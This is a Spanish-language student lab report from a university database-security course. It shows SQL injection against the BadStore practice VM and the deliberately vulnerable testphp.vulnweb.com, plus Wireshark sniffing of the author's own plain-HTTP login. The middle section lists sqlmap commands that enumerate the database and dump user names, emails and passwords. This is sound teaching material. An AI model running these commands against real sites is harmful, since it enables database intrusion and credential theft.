Ataques a bases de datos

Post on 19-Jul-2015

200 views 2 download

Transcript of Ataques a bases de datos

ATAQUES A BASES DE

DATOSComponente Práctico 1

Arnulfo Fernando Hernández Daza

Seguridad en bases de datos, Universidad Nacional Abierta y a Distancia-UNAD

Tauramena, Colombia

1. ATAQUE POR INYECCION DE CODIGO

SQL BASE DE DATOS BADSTORE

Lo primero que hacemos es instalar la base de datos en una máquina virtual; en

este caso utilizamos VMware.

Para vulnerar la base de datos de Badstore utilizaremos Acunetix y Zed

attack proxy. Instalamos y configuramos entonces OWASP Zed.

Configuro en mi navegador el proxy para enlazar las busquedas del

navegador con OWAS ZAP:

En la carpeta de instalacion de OWAS ZAP, busco el archivo Config, y en la linea

del hostname establesco el mismo host que configure en el proxy del navegador:

127.0.0.1

Descargamos e instalamos Acunetix para poder detectar las vulnerabilidades de

Badstore.

Procedemos a la configuración de Acunetix:

Aquí le indico a acunetix la dirección que quiero que escanee en busca de

vulnerabilidades, es este caso será la dirección de Badstore,

http://192.168.204.130/.

Y como se puede observar en la imagen siguiente, se comienza el escaneo de las

vulnerabilidades de Badstore con acunetix:

Mientras se termina el escaneo podemos probar sobre un error hallado, el cross

site scripting de la siguiente manera:

Ahora volvemos a Zed Attack y habilitamos el escaneo de badstore:

Identificamos una amenaza para atacar:

Aplico un Fuzz a la direccion vulnerable del sitio:

Configuro el Fuzz:

Podemos observar la informacion de algunos clientes:

2. ATAQUE CON INYECCIÓN DE CÓDIGO SQL A

SITIO WEB http://testphp.vulnweb.com/.

Procedemos a instalar Python:

Copiamos la carpeta de sqlmap en el disco donde

está instalado Python

Desde la ventana de símbolo de sistema accedemos a

la carpeta que contiene los archivos sqlmap y

ejecutamos el comando para obtener la información

de la base de datos del sitio de BadStore:

> color f4

> cd sqlmap

Para obtener información de la base de datos

buscamos primero una vulnerabilidad en la página

digitando el código = al final de la dirección y

observando el erros en la sintaxis de SQL.

Cuando tenemos la vulnerabilidad entonces digitamos el siguiente código

para obtener información:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 --dbs

Ahora buscamos informacion en la pagina. Averiguamos que base de datos utiliza

el sitio:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 –current-db

Ahora buscaremos la información correspondiente a las tablas que muestra la

base de datos:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 –D acuart –

tables

Ahora busquemos la informacion de las columnas de las tablas:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 –D acuart --

columns

Ahora podemos averiguar los datos de alguna columna de la tabla users, con el

siguiente codigo:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 –D acuart --

columns –T users –C name

Extraemos el contenido:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 –D acuart --

columns –T users –C name –dump

Averiguamos el correo:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 –D acuart --

columns –T users –C email –dump

Busquemos la contraseña:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 –D acuart --

columns –T users –C pass –dump

Ahora el usuario:

Sqlmap.py –u http://testphp.vulnweb.com/listproducts.php?cat=2 –D acuart --

columns –T users –C uname –dump

Ahora hagamos una prueba con los datos obtenidos del ataque en la pagina y

verificamos que los datos obtenidos son reales:

3. ATAQUE POR SNIFFING

Para el ataque por sniffing utilizaremos el software de Wireshark.

Descargamos e instalamos en nuestro equipo el software:

Una vez instalado el software de Wireshark procedemos a configurarlo y

utilizarlo para nuestro análisis:

Abrimos el menu Capture, damos clic en opciones y seleccionanos

nuestra tarjeta de red y le damos iniciar escaneo de red:

De esta forma se incia el escaneo del trafico en la red:

Ahora accederemos a una cuenta en un sitio web sin seguridad, de tipo

http; en este caso utilizaremos una cuenta de www.directoriow.com:

Una vez logueados en el sitio con nuestros datos procedemos a usar Wireshark. Lo primero es dar clic en el botón Expression y escoger la opción HTTP – Hypertext transfer protocolo.

Dentro del menú de opciones damos clic en http.request.method.

Luego de esto buscamos la ip que destino que corresponde al sitio

de www.directorio.com, que en este caso es 95.211.231.44.

Una vez identificada la ip podermos filtrar todo el trafico

correspondiente a este sitio con el comando ip.addr==95.211.231.44.

Cuando tengamos filtrado el trafico del sitio, buscamos la línea que contiene el login? del

usuario que utilizamos y en la ventana inferior en la opción de HTML Form URL Encoded

podemos encontrar la información de usurario y contraseña que estamos buscando.

REFERENCIAS

Recuperado:

https://www.youtube.com/watch?v=-C9TEBIfyrg

Recuperado:

http://rootear.com/seguridad/utilizando-sqlma

Recuperado:

https://www.youtube.com/watch?v=OPhqJTBGZsw

Recuperado:

http://www.hacktimes.com/sql_injection_con_sqlmap/